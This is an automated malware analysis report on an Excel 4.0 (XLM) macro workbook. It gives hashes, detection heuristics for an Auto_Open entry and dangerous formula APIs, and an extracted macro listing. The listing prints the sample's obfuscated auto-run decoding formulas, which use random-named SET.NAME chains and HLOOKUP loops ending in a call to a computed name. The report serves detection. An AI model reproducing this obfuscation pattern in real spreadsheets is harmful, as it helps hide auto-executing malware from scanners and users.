Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 22af67a455f93e3c…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:41:58 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: 9a9c80f29b1ad4bfdb790709a8390f99 SHA-1: edea6709ff33ea73e89d7f192deac8eb97d958f1 SHA-256: 22af67a455f93e3cbf68984ffa4cd2f31573dfc106c9d5a71b73cf1924421ced
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6733 bytes
SHA-256: 0f6f4e4c34c8624a757d05cf5e76b23a133a269808c085c090259600ce144ce8
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  DjIWqNUr
' 0018     23 LABEL : Cell Value, String Constant - ANTBGynZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C142 
' 0018     20 LABEL : Cell Value, String Constant - bgdsT len=0 
' 0018     20 LABEL : Cell Value, String Constant - DFZfp len=0 
' 0018     25 LABEL : Cell Value, String Constant - fbzpIkvrUK len=0 
' 0018     23 LABEL : Cell Value, String Constant - FDSmxJtv len=0 
' 0018     22 LABEL : Cell Value, String Constant - FokYIrm len=0 
' 0018     23 LABEL : Cell Value, String Constant - gkayaGJg len=0 
' 0018     23 LABEL : Cell Value, String Constant - hGLDpqsK len=0 
' 0018     21 LABEL : Cell Value, String Constant - mARvas len=0 
' 0018     23 LABEL : Cell Value, String Constant - PnpEQUvG len=0 
' 0018     26 LABEL : Cell Value, String Constant - QLvUjaiMfNv len=0 
' 0018     20 LABEL : Cell Value, String Constant - qyLaR len=0 
' 0018     21 LABEL : Cell Value, String Constant - rhVcas len=0 
' 0018     27 LABEL : Cell Value, String Constant - TZeVRVLEjbDE len=0 
' 0018     20 LABEL : Cell Value, String Constant - vOotY len=0 
' 0018     25 LABEL : Cell Value, String Constant - XWczHeHXYA len=0 
' 0018     21 LABEL : Cell Value, String Constant - YGJkDz len=0 
' 0018     21 LABEL : Cell Value, String Constant - YMCFLR len=0 
' 0018     27 LABEL : Cell Value, String Constant - ySdAgssCjrFl len=0 
' 0018     22 LABEL : Cell Value, String Constant - zioYfGP len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  DjIWqNUr,C53,"SET.NAME("mARvas",0+VALUE("0"))",""
'  DjIWqNUr,C55,"SET.NAME("rhVcas",mARvas)",""
'  DjIWqNUr,C60,"SET.NAME("YMCFLR",mARvas)",""
'  DjIWqNUr,S64,"",550.00000000000000000000
'  DjIWqNUr,C65,"SET.NAME("ySdAgssCjrFl",COUNTA(gkayaGJg))",""
'  DjIWqNUr,S65,"",662.00000000000000000000
'  DjIWqNUr,S66,"",-477.00000000000000000000
'  DjIWqNUr,S67,"",981.00000000000000000000
'  DjIWqNUr,C68,"SET.NAME("fbzpIkvrUK",COUNTA(qyLaR))",""
'  DjIWqNUr,S68,"",426.00000000000000000000
'  DjIWqNUr,S69,"",946.00000000000000000000
'  DjIWqNUr,C71,[],""
'  DjIWqNUr,C75,"SET.NAME("DFZfp","")",""
'  DjIWqNUr,C78,"rhVcas",""
'  DjIWqNUr,C80,"SET.NAME("hGLDpqsK",HLOOKUP("*",gkayaGJg,rhVcas,FALSE))",""
'  DjIWqNUr,C82,"FDSmxJtv",""
'  DjIWqNUr,C86,"SET.NAME("vOotY",mARvas)",""
'  DjIWqNUr,C89,[],""
'  DjIWqNUr,C91,"vOotY",""
'  DjIWqNUr,C94,"bgdsT",""
'  DjIWqNUr,C98,"TZeVRVLEjbDE",""
'  DjIWqNUr,C100,"YGJkDz",""
'  DjIWqNUr,C102,"SET.NAME("XWczHeHXYA",VALUE(HLOOKUP("*",qyLaR,YGJkDz,FALSE)))",""
'  DjIWqNUr,C107,"zioYfGP",""
'  DjIWqNUr,C111,"DFZfp",""
'  DjIWqNUr,C116,"YMCFLR",""
'  DjIWqNUr,C120,NEXT(),""
'  DjIWqNUr,C122,"FokYIrm",""
'  DjIWqNUr,C127,[],""
'  DjIWqNUr,C130,"PnpEQUvG",""
'  DjIWqNUr,C134,NEXT(),""
'  DjIWqNUr,C139,RETURN(),""
'  DjIWqNUr,C164,"SET.NAME("ANTBGynZ",C53)",""
'  DjIWqNUr,C167,"gkayaGJg",""
'  DjIWqNUr,C170,"SET.NAME("qyLaR",R71C13)",""
'  DjIWqNUr,C175,"SET.NAME("PnpEQUvG",182)",""
'  DjIWqNUr,C178,"SET.NAME("QLvUjaiMfNv",3)",""
'  DjIWqNUr,C181,ANTBGynZ(),""
'  DjIWqNUr,C182,HALT(),""

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